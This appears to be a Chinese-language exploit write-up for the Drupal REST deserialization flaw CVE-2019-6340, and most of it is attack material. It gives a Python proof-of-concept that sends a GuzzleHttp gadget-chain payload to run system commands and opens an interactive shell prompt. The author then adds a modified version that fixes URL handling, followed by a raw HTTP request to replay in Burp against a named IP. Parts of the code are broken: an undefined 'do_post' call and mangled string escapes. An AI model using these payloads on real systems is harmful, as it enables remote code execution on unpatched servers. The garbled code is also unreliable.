Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。
根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:
RESTful Web Services拓展开启,并且启用了REST资源(默认配置即可),不需要区分GET,POST等方法即可完成攻击。
JSON:API服务模块开启,此服务尚未分析。
2、影响版本Drupal 8.6.x < 8.6.10 Drupal 8.5.x(或更早版本) < 8.5.11
3、漏洞复现直接运行python脚本poc即可
import requests
import sys
import re
if len(sys.argv)!=2:
print('+---------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ https://freeerror.org/d/488 +')
print('+---------------------------------------------------------------+')
print('+ USE: python3 +')
print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080 +')
print('+ VER: Drupal < 8.6.10 +')
print('+ Drupal < 8.5.12 +')
print('+---------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
payload = "{rn "link": [rn {rn "value": "link",rn "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:%s:\"%s\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"rn }rn ],rn "_links": {rn "type": {rn "href": "%s/rest/type/shortcut/default"rn }rn }rn}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "**",
'Cache-Control': "no-cache"
}
global response
response = requests.request("POST", url_dir, data=payload, headers=headers)
r = response.text
s = r.split("}")[1]
print (s)
while 1:
cmd = input("Shell >>> ")
cmd_len = len(cmd)
if cmd == "exit" : exit(0)
do_post(cmd)
或者
漏洞利用地址:
exphub/cve-2019-6340_cmd.py at master · zhzyker/exphub · GitHub
网上找的POC用了一下,说实话,没一个能用的,可能是因为使用场景不同,因此个人对POC进行了简单修改
总结错误原因:
其实很简单,有两点
第一点:
url = sys.argv[1]
dir = "/node/?_format=hal_json"
url_dir = url + dir
一般而言,我们在输入网址时,会出现如下情况
url = http://123.58.236.76:23001/
那么url_dir = http://123.58.236.76:23001//node/?_format=hal_json
其中有 // 对于脚本request请求时,容易发生406错误而导致无法获取内容
第二点:
与第一点类似
"href": "%s/rest/type/shortcut/default"rn
当 url代入时,会出现 http://123.58.236.76:23001//rest/type/shortcut/default
因而导致无法正确进行
原因同上
对POC进行小优化
解决了输入网址的问题:
以上POC在输入时要求 url 必须为 http:// 形式,优化后可以只输入域名即可
如:
对比:
原:
python poc.py http://123.58.236.76:23001/
小优化后:
python poc.py http://123.58.236.76:23001
python poc.py 123.58.236.76:23001
注意:
无论原POC或者小优化后的POC,都不可输入https://,否则会出现错误
import requests
import sys
import re
if len(sys.argv)!=2:
print('+---------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ https://freeerror.org/d/488 +')
print('+---------------------------------------------------------------+')
print('+ USE: python3 +')
print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080 +')
print('+ VER: Drupal < 8.6.10 +')
print('+ Drupal < 8.5.12 +')
print('+---------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
if str(sys.argv[1][0]) != 'h':
url = 'http://' + url
if sys.argv[1][len(sys.argv[1]) - 1] != '/':
url += '/'
cmd = "whoami"
dir = "node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
payload = "{rn "link": [rn {rn "value": "link",rn "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:%s:\"%s\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"rn }rn ],rn "_links": {rn "type": {rn "href": "%srest/type/shortcut/default"rn }rn }rn}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "**",
'Cache-Control': "no-cache"
}
global response
response = requests.request("POST", url_dir, data=payload, headers=headers)
r = response.text
s = r.split("}")[1]
print (s)
while 1:
cmd = input("Shell >>> ")
cmd_len = len(cmd)
if cmd == "exit" : exit(0)
do_post(cmd)
或者
访问漏洞环境并用burp抓包,将数据包改为如下payload,并发送
POST /node/?_format=hal_json HTTP/1.1
Host: <漏洞环境的IP:PORT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection: keep-alive
Content-Type: application/hal+json
Accept: **
Connection: close
Content-Type: application/hal+json
Cache-Control: no-cache
Content-Length: 593
{
"link":[
{
"value":"link",
"options":"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"u0000GuzzleHttp\Psr7\FnStreamu0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"u0000GuzzleHttp\HandlerStacku0000handler";s:7:"ls /tmp";s:30:"u0000GuzzleHttp\HandlerStacku0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"u0000GuzzleHttp\HandlerStacku0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
}
],
"_links":{
"type":{
"href":"http://123.58.236.76:23001/rest/type/shortcut/default"
}
}
}
其中注意点
POST /node/?_format=hal_json Content-Type: application/hal+json /rest/type/shortcut/default 123.58.236.76:23001 s:7:"ls /tmp" 其中7随着"内容进行改变 http://123.58.236.76:23001/rest/type/shortcut/default 此处23001/rest需要注意,很可能写成23001//rest



